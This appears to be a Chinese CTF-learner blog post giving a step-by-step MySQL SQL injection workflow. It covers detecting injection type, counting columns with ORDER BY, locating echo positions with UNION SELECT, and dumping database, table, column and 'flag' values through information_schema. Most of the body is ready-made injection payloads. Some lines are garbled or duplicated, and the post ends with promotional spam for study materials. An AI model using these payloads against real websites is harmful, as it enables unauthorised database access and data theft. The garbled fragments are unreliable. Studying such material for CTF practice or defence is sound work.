FLAG:别来我梦里了,我已负担不起醒来的失落
专研方向: Mysql,sql注入
每日emo:好久不见,寒暄几句,缺耗尽了半生的勇气
欢迎各位与我这个菜鸟交流学习
SQL注入流程与常用语句
1、判断注入类型,数字型还是字符型
数字型
$query = “SELECT first_name, last_name FROM users WHERE user_id = $id;”;
字符型
q u e r y = " S E L E C T f i r s t _ n a m e , l a s t _ n a m e F R O M u s e r s W H E R E u s e r _ i d = ′ query = "SELECT first\_name, last\_name FROM users WHERE user\_id = ' query="SELECTfirst_name,last_nameFROMusersWHEREuser_id=′id’;";
注意:?表示传递参数,通常都是在页面后会有?id=数值,这样的方式传递参数给服务器,然后给我们返 回参数对应的页面信息,我们发现我们是在/后面直接使用?传递参数,此时参数会传递给默认页面。
方法一: order by 法
构造payload为:id=1 order by 9999 --+
如果正确返回页面,则为字符型
否则,为数字型
分析:字符型执行的sql语句为select * from user where id=‘1 order by 9999 --+’,注释符【-
-】实际上在执行的时候,被当成id的一部分,也就是说,在执行sql语句的时候,条件是id=‘1 order by 9999 --+’。最终只会截取前面的数字,返回id=1的结果。 如果是数字型的话,执行的sql语句为select * from user where id=1 order by 9999 --+,在现实生活中,根本就没什么可能会存在有9999个字段的表,所以会报错。
方法二:逻辑判断法
这就很简单了,就是猜,但是也得知道一点技巧。 比如说,id这种,一般在数据库存储为int类型的,在查询时,可能是数字型,也可能是字符型。
但是,如果是name或者username之类的,按正常逻辑,一看就知道是以varchar或者char存储的,那指定就是字符型了,因为不加引号,sql语句绝对报错。
如果不加引号:
2、猜解sql查询语句中的字段数
在这一步中,尝试去猜测出查询语句中的字段个数,如下注入语句所示,假设为字符型注入,先利用1’实现引号闭环,再利用or 1=1这样可以暴露出表中所有的数据,最后利用order by num#去看是否报错来明确查询语句中的字段数,其中#号用于截断sql查询语句。
1’ or 1=1 order by 1 #
1’ or 1=1 order by 2 #
或者
1’ or 1=1 union select 1, 2, 3 #
3、确定字段的显示顺序(回显位)
这里我们直接使用union就行,如下
代码所示,这里我们故意扰乱了first_name和last_name的两个位置,查询出来结果中的1,2会指明数据字段在查询语句中的位置。
1’ union select 1, 2 #
’ or 1=1 union select 1,database(),3 limit 1,2;#–
4、获取当前数据库
通过前面的字段数确定以及显示顺序确定,我们就可以结合union操作来获取数据库中的信息了。如下代码所示,展示了获取数据库名的操作,根据前面已经获取到的字段数以及位置关系,假设有两个字段,那么下面的查询语句将会把数据库的名称放在第二个字段中。
1’ union select 1, database() #
示例公式
查看数据库表的数量
’ or 1=1 union select 1,(select count(*) from information_schema.tables where table_schema = ‘web2’),3 limit 1,2;#–
查表的名字
第一个表:
’ or 1=1 union select 1,(select table_name from information_schema.tables where table_schema = ‘web2’ limit 0,1),3 limit 1,2;#–
第二个表:
’ or 1=1 union select 1,(select table_name from information_schema.tables where table_schema = ‘web2’ limit 1,2),3 limit 1,2;#–
查flag表列的数量
’ or 1=1 union select 1,(select count(*) from information_schema.columns where table_name = ‘flag’ limit 0,1),3 limit 1,2;#–
.查flag表列的名字
’ or 1=1 union select 1,(select column_name from information_schema.columns where table_name = ‘flag’ limit 0,1),3 limit 1,2;#–
查flag表记录的数量
’ or 1=1 union select 1,(select count(*) from flag),3 limit 1,2;#–
查flag表记录值
’ or 1=1 union select 1,(select flag from flag limit 0,1),3 limit 1,2;#–
5、获取数据库中的表
在获取到当前数据库名后,我们可以进一步获取其中表的信息。如下代码和截图所示,展示了获取数据库中表的信息,information_schema是MySql自带的信息数据库,用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等,其中的表实际上都是视图。information_schema的tables表记录了数据库中表的信息,指定table_schema的名称即可显示对应数据库中表的信息
1’ union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #
6、获取表中的字段名
进一步获取其中的字段名,假设要获取的表为users,如下面的代码和截图所示。information_schema的columns表存储了表中列的信息,也就是表中字段信息,指定table_name表名,即可获取到对应表的字段信息。
1’ union select 1, c’c’c’c’c获取字段信息:
1’ union select 1, 2, group_concat(字段名) from 表名字#
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘admin’ limit 0,1(查找admin表的第一列字段)
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
写在最后
在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。
需要完整版PDF学习资源私我
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。**
需要完整版PDF学习资源私我
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-03murweo-1712838741131)]